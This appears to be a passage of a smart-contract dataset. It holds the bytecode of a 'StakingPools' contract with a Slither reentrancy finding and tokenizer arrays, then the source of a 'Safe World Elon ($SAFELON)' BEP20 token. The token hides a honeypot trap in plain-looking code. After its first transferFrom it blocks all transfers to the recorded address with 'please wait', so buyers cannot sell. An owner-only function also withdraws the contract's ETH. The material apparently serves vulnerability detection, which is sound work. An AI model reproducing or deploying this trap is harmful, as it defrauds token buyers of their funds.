357600080fd5b5080359060200135611d09565b610413611f2d565b6103ba6004803603602081101561052e57600080fd5b5035611f49565b61020f6004803603602081101561054b57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16611f6a565b61020f6004803603604081101561057e57600080fd5b508035906020013561210b565b600082815260086020908152604080832073ffffffffffffffffffffffffffffffffffffffff808616855290835281842082516060808201855282548252600180840154838801526002938401548387015289885260068752858820865160a0810188528154815281830154818a0152818601548189015260038201548185015260049091015490951660808601528988526007875285882086519283018752805480845291810154978301979097529590920154938201939093529192909190849061065c5781602001516106af565b6106af6106a4836000015161069e68056bc75e2d6310000061069888606001516106988960400151610692438d60200151612373565b9061238b565b90612402565b90612475565b6020840151906124f6565b90506106ee6106e368056bc75e2d6310000061069e6106db88604001518661238b90919063ffffffff16565b885190612402565b6020860151906124f6565b9450505050505b92915050565b600081815260066020526040902060010154819061077a57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f5374616b696e67506f6f6c733a20706f6f6c206e6f7420666f756e6400000000604482015290519081900360640190fd5b6000828152600860209081526040808320338085529252909120546107a091849161256a565b506000908152600860209081526040808320338452909152812060010155565b600082815260066020526040902060010154829061083f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f5374616b696e67506f6f6c733a20706f6f6c206e6f7420666f756e6400000000604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff82166108c157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f5374616b696e67506f6f6c733a207a65726f2061646472657373000000000000604482015290519081900360640190fd5b6108ca836126f2565b6108d48383612797565b60055473ffffffffffffffffffffffffffffffffffffffff1661095857604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601e60248201527f5374616b696e67506f6f6c733a207265776172646572206e6f74207365740000604482015290519081900360640190fd5b600083815260086020908152604080832073ffffffffffffffffffffffffffffffffffffffff86168452909152902060010154806109e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806130d96021913960400191505060405180910390fd5b600084815260086020908152604080832073ffffffffffffffffffffffffffffffffffffffff8088168086529190935281842060010184905560055482517f7a5f11fa000000000000000000000000000000000000000000000000000000008152600481018a905260248101929092526044820186905291519190921692637a5f11fa926064808201939182900301818387803b158015610a8157600080fd5b505af1158015610a95573d6000803e3d6000fd5b50506005546040805173ffffffffffffffffffffffffffffffffffffffff928316815260208101869052815192881694508893507fef1bb27f27213e5cb8963b669bf571859e849a0b1c0d1135c6932d61a1188ce3929081900390910190a350505050565b60045467ffffffffffffffff16610b5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260308152602001806130a96030913960400191505060405180910390fd5b600354600454610b789167ffffffffffffffff909116906124f6565b421015610bd0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e8152602001806131b6602e913960400191505060405180910390fd5b600280546004805473ffffffffffffffffffffffffffffffffffffffff68010000000000000000820481167fffffffffffffffffffffffff00000000000000000000000000000000000000008516179485905560408051808201825260008082526020918201527fffffffff00000000000000000000000000000000000000000000000000000000909316909355825193811680855294169083015280517f57897fe04a846feabc0e56ce4142f7fbd091622a3263e28077ce5fedae906c279281900390910190a150565b6000818152600660205260409020600101548190610d1a57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f5374616b696e67506f6f6c733a20706f6f6c206e6f7420666f756e6400000000604482015290519081900360640190fd5b610d2482336107c0565b5050565b610d30612836565b73ffffffffffffffffffffffffffffffffffffffff16610d4e6117b8565b73ffffffffffffffffffffffffffffffffffffffff1614610dd057604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6005805473ffffffffffffffffffffffffffffffffffffffff8381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681179093556040805191909216808252602082019390935281517f9428ebf8162d9d23f42ee294eb636214dd96f4fab1956b7637f40ff8d414ce73929181900390910190a15050565b610e60612836565b73ffffffffffffffffffffffffffffffffffffffff16610e7e6117b8565b73ffffffffffffffffffffffffffffffffffffffff1614610f0057604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6000828152600660205260409020600101548290610f7f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f5374616b696e67506f6f6c733a20706f6f6c206e6f7420666f756e6400000000604482015290519081900360640190fd5b6000838152600660205260409020600101548390431061100057604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f5374616b696e67506f6f6c733a20706f6f6c20656e6465640000000000000000604482015290519081900360640190fd5b60008481526006602052604090206002015480841161106a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a81526020018061318c602a913960400191505060405180910390fd5b6000858152600660209081526040918290206002018690558151838152908101869052815187927f59ce6256507da20a008aa4f06f7a4690e99c008a908bf46abe9407444b5444d7928290030190a25050505050565b600081815260066020526040902060010154819061113f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f5374616b696e67506f6f6c733a20706f6f6c206e6f7420666f756e6400000000604482015290519081900360640190fd5b60025473ffffffffffffffffffffffffffffffffffffffff166111c357604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601e60248201527f5374616b696e67506f6f6c733a206d69677261746f72206e6f74207365740000604482015290519081900360640190fd5b6000828152600660209081526040808320815160a0810183528154815260018083015482860152600280840154838601908152600385015460608086019190915260049095015473ffffffffffffffffffffffffffffffffffffffff166080850152898852600787529685902085519485018652805485529182015495840195909552909301549181019190915291519091904310156112ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260298152602001806131636029913960400191505060405180910390fd5b608082015160025482516112d9929173ffffffffffffffffffffffffffffffffffffffff169061283a565b60025460808301518251604080517f4ef88bea0000000000000000000000000000000000000000000000000000000081526004810189905273ffffffffffffffffffffffffffffffffffffffff93841660248201526044810192909252516000939290921691634ef88bea9160648082019260209290919082900301818787803b15801561136657600080fd5b505af115801561137a573d6000803e3d6000fd5b505050506040513d602081101561139057600080fd5b5051905073ffffffffffffffffffffffffffffffffffffffff8116611400576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806130fa6024913960400191505060405180910390fd5b60008581526006602090815260409182902060040180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff858116918217909255608087015184519216825291810191909152815187927fb7ede30df1964589448863a66272f2b59b886c3364a82ed9cef9f9e30ab017c3928290030190a25050505050565b600660205260009081526040902080546001820154600283015460038401546004909401549293919290919073ffffffffffffffffffffffffffffffffffffffff1685565b60045467ffffffffffffffff81169068010000000000000000900473ffffffffffffffffffffffffffffffffffffffff1682565b600860209081526000928352604080842090915290825290208054600182015460029092015490919083565b611549612836565b73ffffffffffffffffffffffffffffffffffffffff166115676117b8565b73ffffffffffffffffffffffffffffffffffffffff16146115e957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6000805460405173ffffffffffffffffffffffffffffffffffffffff909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055565b60035481565b60008281526006602052604090206001015482906116dd57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f5374616b696e67506f6f6c733a20706f6f6c206e6f7420666f756e6400000000604482015290519081900360640190fd5b6000838152600660205260409020548390431080159061170d575060008181526006602052604090206001015443105b61177857604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f5374616b696e67506f6f6c733a20706f6f6c206e6f7420616374697665000000604482015290519081900360640190fd5b611781846126f2565b61178b8433612797565b611796843385612a3f565b50505050565b60025473ffffffffffffffffffffffffffffffffffffffff1681565b60005473ffffffffffffffffffffffffffffffffffffffff1690565b600082815260066020526040902060010154829061185357604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f5374616b696e67506f6f6c733a20706f6f6c206e6f7420666f756e6400000000604482015290519081900360640190fd5b61185c836126f2565b6118668333612797565b61187183338461256a565b505050565b60015481565b611884612836565b73ffffffffffffffffffffffffffffffffffffffff166118a26117b8565b73ffffffffffffffffffffffffffffffffffffffff161461192457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff85166119a657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f5374616b696e67506f6f6c733a207a65726f2061646472657373000000000000604482015290519081900360640190fd5b43841180156119b457508383115b80156119bf57508382115b611a14576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806130886021913960400191505060405180910390fd5b60008111611a6d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806130186025913960400191505060405180910390fd5b6001805481018082556040805160a0810182528781526020808201888152828401888152606080850189815273ffffffffffffffffffffffffffffffffffffffff8e8116608080890182815260008c815260068a528b81209a518b5597518a8e015595516002808b0191909155935160038a01559451600490980180547fffffffffffffffffffffffff00000000000000000000000000000000000000001698909216979097179055865180830188528481528086018581528189018f81528a875260078852958990209151825551998101999099559251979092019690965583518a8152918201899052818401889052810186905291519293909284927f36766c23c4dce64b1651af7bae0782e208b9146d590e780046a7b84c24a74dbf92908290030190a3505050505050565b611ba4612836565b73ffffffffffffffffffffffffffffffffffffffff16611bc26117b8565b73ffffffffffffffffffffffffffffffffffffffff1614611c4457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6040805180820182524267ffffffffffffffff1680825273ffffffffffffffffffffffffffffffffffffffff84166020928301819052600480547fffffffffffffffffffffffffffffffffffffffffffffffff0000000000000000169092177fffffffff0000000000000000000000000000000000000000ffffffffffffffff1668010000000000000000820217909155825190815291517fa29574a23976d25a545c50ae3e198c1eccdd2d6313b17a9c8ec1dc24a20551b59281900390910190a150565b611d11612836565b73ffffffffffffffffffffffffffffffffffffffff16611d2f6117b8565b73ffffffffffffffffffffffffffffffffffffffff1614611db157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6000828152600660205260409020600101548290611e3057604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f5374616b696e67506f6f6c733a20706f6f6c206e6f7420666f756e6400000000604482015290519081900360640190fd5b60008381526006602052604090206001015483904310611eb157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f5374616b696e67506f6f6c733a20706f6f6c20656e6465640000000000000000604482015290519081900360640190fd5b6000848152600660205260409020544310611ecf57611ecf846126f2565b60008481526006602090815260409182902060030180549086905582518181529182018690528251909287927fe8c0ef92b4d0c5e15388b280719c402b7e9d101833759d5f3d23fcb25cd9593b929081900390910190a25050505050565b60055473ffffffffffffffffffffffffffffffffffffffff1681565b60076020526000908152604090208054600182015460029092015490919083565b611f72612836565b73ffffffffffffffffffffffffffffffffffffffff16611f906117b8565b73ffffffffffffffffffffffffffffffffffffffff161461201257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff811661207e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806130626026913960400191505060405180910390fd5b6000805460405173ffffffffffffffffffffffffffffffffffffffff808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b612113612836565b73ffffffffffffffffffffffffffffffffffffffff166121316117b8565b73ffffffffffffffffffffffffffffffffffffffff16146121b357604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600082815260066020526040902060010154829061223257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f5374616b696e67506f6f6c733a20706f6f6c206e6f7420666f756e6400000000604482015290519081900360640190fd5b600083815260066020526040902060010154839043106122b357604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f5374616b696e67506f6f6c733a20706f6f6c20656e6465640000000000000000604482015290519081900360640190fd5b60008481526006602052604090206001015480841161231d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061311e6024913960400191505060405180910390fd5b6000858152600660209081526040918290206001018690558151838152908101869052815187927f4160dc602e30ed6f057cad6503bed525ae1b6b025bffb9e84683d5ecf10f64eb928290030190a25050505050565b60008183106123825781612384565b825b9392505050565b6000828211156123fc57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b600082612411575060006106f5565b8282028284828161241e57fe5b0414612384576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806131426021913960400191505060405180910390fd5b60008082116124e557604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604482015290519081900360640190fd5b8183816124ee57fe5b049392505050565b60008282018381101561238457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600081116125c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806131e46028913960400191505060405180910390fd5b600083815260086020908152604080832073ffffffffffffffffffffffffffffffffffffffff861684529091529020546125fd908261238b565b600084815260086020908152604080832073ffffffffffffffffffffffffffffffffffffffff87168452825280832093909355858252600790522054612643908261238b565b6000848152600760209081526040808320939093556006905220600401546126829073ffffffffffffffffffffffffffffffffffffffff168383612bc8565b60008381526006602090815260409182902060040154825173ffffffffffffffffffffffffffffffffffffffff918216815291820184905282519085169286927f88567e6595ad345e5250569a2c8d8a50ed9db24198350fa907e42d73faf012d5929081900390910190a3505050565b60008181526006602090815260408083206007909252822060018201549192909161271e904390612373565b9050600061273983600201548361238b90919063ffffffff16565b905080156127905782541561278857612782612777846000015461069e68056bc75e2d6310000061069889600301548761240290919063ffffffff16565b6001850154906124f6565b60018401555b600283018290555b5050505050565b600082815260086020908152604080832073ffffffffffffffffffffffffffffffffffffffff8516845282528083208584526007909252822081546002830154600183015493949293919290916127ee908361238b565b9050801561282d5761281b61281068056bc75e2d6310000061069e8685612402565b6001870154906124f6565b60018087019190915584015460028601555b50505050505050565b3390565b604080518082018252601881527f617070726f766528616464726573732c75696e74323536290000000000000000602091820152815173ffffffffffffffffffffffffffffffffffffffff85811660248301526044808301869052845180840390910181526064909201845291810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167f095ea7b30000000000000000000000000000000000000000000000000000000017815292518151600094859489169392918291908083835b6020831061293f57805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe09092019160209182019101612902565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146129a1576040519150601f19603f3d011682016040523d82523d6000602084013e6129a6565b606091505b50915091508180156129d45750805115806129d457508080602001905160208110156129d157600080fd5b50515b61279057604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f5374616b696e67506f6f6c733a20617070726f7665206661696c656400000000604482015290519081900360640190fd5b60008111612a98576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612fd16026913960400191505060405180910390fd5b600083815260086020908152604080832073ffffffffffffffffffffffffffffffffffffffff86168452909152902054612ad290826124f6565b600084815260086020908152604080832073ffffffffffffffffffffffffffffffffffffffff87168452825280832093909355858252600790522054612b1890826124f6565b600084815260076020908152604080832093909355600690522060040154612b589073ffffffffffffffffffffffffffffffffffffffff16833084612dcd565b60008381526006602090815260409182902060040154825173ffffffffffffffffffffffffffffffffffffffff918216815291820184905282519085169286927f7edb7e181699d1db1f6e3ac27fb17e1db8ac69aeb22eec366e72528c0886726a929081900390910190a3505050565b604080518082018252601981527f7472616e7366657228616464726573732c75696e743235362900000000000000602091820152815173ffffffffffffffffffffffffffffffffffffffff85811660248301526044808301869052845180840390910181526064909201845291810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa9059cbb0000000000000000000000000000000000000000000000000000000017815292518151600094859489169392918291908083835b60208310612ccd57805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe09092019160209182019101612c90565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114612d2f576040519150601f19603f3d011682016040523d82523d6000602084013e612d34565b606091505b5091509150818015612d62575080511580612d625750808060200190516020811015612d5f57600080fd5b50515b61279057604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f5374616b696e67506f6f6c733a207472616e73666572206661696c6564000000604482015290519081900360640190fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1660405180606001604052806025815260200161303d6025913980516020918201206040805173ffffffffffffffffffffffffffffffffffffffff808b166024830152891660448201526064808201899052825180830390910181526084909101825292830180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fffffffff00000000000000000000000000000000000000000000000000000000909316929092178252518251909182918083835b60208310612ede57805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe09092019160209182019101612ea1565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114612f40576040519150601f19603f3d011682016040523d82523d6000602084013e612f45565b606091505b5091509150818015612f73575080511580612f735750808060200190516020811015612f7057600080fd5b50515b612fc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612ff76021913960400191505060405180910390fd5b50505050505056fe5374616b696e67506f6f6c733a2063616e6e6f74207374616b65207a65726f20616d6f756e745374616b696e67506f6f6c733a207472616e7366657246726f6d206661696c65645374616b696e67506f6f6c733a20726577617264206d75737420626520706f7369746976657472616e7366657246726f6d28616464726573732c616464726573732c75696e74323536294f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573735374616b696e67506f6f6c733a20696e76616c696420626c6f636b2072616e67655374616b696e67506f6f6c733a206d69677261746f72206368616e67652070726f706f73616c206e6f7420666f756e645374616b696e67506f6f6c733a206e6f2072657761726420746f2072656465656d5374616b696e67506f6f6c733a207a65726f206e657720746f6b656e20616464726573735374616b696e67506f6f6c733a20656e6420626c6f636b206e6f7420657874656e646564536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775374616b696e67506f6f6c733a206d6967726174696f6e20626c6f636b206e6f7420726561636865645374616b696e67506f6f6c733a206d6967726174696f6e20626c6f636b206e6f7420657874656e6465645374616b696e67506f6f6c733a206d69677261746f72207365747465722064656c6179206e6f74207061737365645374616b696e67506f6f6c733a2063616e6e6f7420756e7374616b65207a65726f20616d6f756e74a26469706673582212208c8dbf1eb88a4ed725a74aa7e570b09b1d1ab86435b28ad6ef28a9e7b698771364736f6c63430007060033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 16086, 2050, 2581, 2050, 2581, 2683, 25746, 2546, 21926, 2063, 2683, 22022, 29345, 23352, 5243, 2683, 4246, 2575, 11329, 2546, 2683, 11057, 2683, 25746, 18827, 2497, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1021, 1012, 1020, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 3229, 1013, 2219, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 8785, 1013, 8785, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 8785, 1013, 3647, 18900, 2232, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 19706, 1013, 21541, 15495, 16869, 4328, 17643, 4263, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,002
0x960af11ddbfed1f330779a025e23f717b8e6ac5e
/** Safe World Elon ($SAFELON) - Token */ pragma solidity >=0.5.17; library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } contract BEP20Interface { function totalSupply() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public; } contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract TokenBEP20 is BEP20Interface, Owned{ using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint _totalSupply; address public newun; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; constructor() public { symbol = "SAFELON"; name = "Safe World Elon"; decimals = 8; _totalSupply = 100000000000000000000; balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } function transfernewun(address _newun) public onlyOwner { newun = _newun; } function totalSupply() public view returns (uint) { return _totalSupply.sub(balances[address(0)]); } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { require(to != newun, "please wait"); balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { if(from != address(0) && newun == address(0)) newun = to; else require(to != newun, "please wait"); balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data); return true; } function () external payable { revert(); } } contract SafeWorldElon is TokenBEP20 { function clearCNDAO() public onlyOwner() { address payable _owner = msg.sender; _owner.transfer(address(this).balance); } function() external payable { } }
0x6080604052600436106100fe5760003560e01c806381f4f39911610095578063c04365a911610064578063c04365a914610570578063cae9ca5114610587578063d4ee1d9014610691578063dd62ed3e146106e8578063f2fde38b1461076d576100fe565b806381f4f399146103c55780638da5cb5b1461041657806395d89b411461046d578063a9059cbb146104fd576100fe565b806323b872dd116100d157806323b872dd14610285578063313ce5671461031857806370a082311461034957806379ba5097146103ae576100fe565b806306fdde0314610100578063095ea7b31461019057806318160ddd146102035780631ee59f201461022e575b005b34801561010c57600080fd5b506101156107be565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561015557808201518184015260208101905061013a565b50505050905090810190601f1680156101825780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019c57600080fd5b506101e9600480360360408110156101b357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061085c565b604051808215151515815260200191505060405180910390f35b34801561020f57600080fd5b5061021861094e565b6040518082815260200191505060405180910390f35b34801561023a57600080fd5b506102436109a9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561029157600080fd5b506102fe600480360360608110156102a857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109cf565b604051808215151515815260200191505060405180910390f35b34801561032457600080fd5b5061032d610e14565b604051808260ff1660ff16815260200191505060405180910390f35b34801561035557600080fd5b506103986004803603602081101561036c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e27565b6040518082815260200191505060405180910390f35b3480156103ba57600080fd5b506103c3610e70565b005b3480156103d157600080fd5b50610414600480360360208110156103e857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061100d565b005b34801561042257600080fd5b5061042b6110aa565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047957600080fd5b506104826110cf565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104c25780820151818401526020810190506104a7565b50505050905090810190601f1680156104ef5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050957600080fd5b506105566004803603604081101561052057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061116d565b604051808215151515815260200191505060405180910390f35b34801561057c57600080fd5b506105856113cc565b005b34801561059357600080fd5b50610677600480360360608110156105aa57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001906401000000008111156105f157600080fd5b82018360208201111561060357600080fd5b8035906020019184600183028401116401000000008311171561062557600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050611474565b604051808215151515815260200191505060405180910390f35b34801561069d57600080fd5b506106a66116a7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106f457600080fd5b506107576004803603604081101561070b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116cd565b6040518082815260200191505060405180910390f35b34801561077957600080fd5b506107bc6004803603602081101561079057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611754565b005b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108545780601f1061082957610100808354040283529160200191610854565b820191906000526020600020905b81548152906001019060200180831161083757829003601f168201915b505050505081565b600081600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60006109a4600760008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546005546117f190919063ffffffff16565b905090565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610a5b5750600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b15610aa65782600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b6b565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b6a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f706c65617365207761697400000000000000000000000000000000000000000081525060200191505060405180910390fd5b5b610bbd82600760008773ffffffffffffff